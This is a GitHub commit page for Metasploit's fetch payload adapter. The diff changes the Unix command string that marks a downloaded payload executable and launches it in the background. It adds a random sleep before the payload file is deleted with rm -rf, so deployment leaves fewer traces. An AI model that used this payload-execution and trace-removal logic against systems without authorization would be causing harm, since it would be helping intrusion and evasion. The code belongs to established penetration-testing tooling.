Skip to content

Commit

Permalink
Add sleep to prevent race condition, remove unneeded spaces
Browse files Browse the repository at this point in the history
  • Loading branch information
bwatters-r7 committed Dec 13, 2024
1 parent 2faa33e commit 594946d
Showing 1 changed file with 6 additions and 4 deletions.
10 changes: 6 additions & 4 deletions lib/msf/core/payload/adapter/fetch.rb
Original file line number Diff line number Diff line change
Expand Up @@ -202,12 +202,14 @@ def _execute_win
end

def _execute_nix
cmds = "; chmod +x #{_remote_destination_nix}"
cmds = ";chmod +x #{_remote_destination_nix}"
if datastore['FETCH_DELETE']
cmds << "; (#{_remote_destination_nix} &)"
cmds << ";rm -rf #{_remote_destination_nix}"
# sometimes the delete can happen before the process is created
sleep_delete = rand(2..7)
cmds << ";(#{_remote_destination_nix} &)"
cmds << ";sleep #{sleep_delete};rm -rf #{_remote_destination_nix}"
else
cmds << "; #{_remote_destination_nix} &"
cmds << ";#{_remote_destination_nix} &"
end
cmds
end
Expand Down

0 comments on commit 594946d

Please sign in to comment.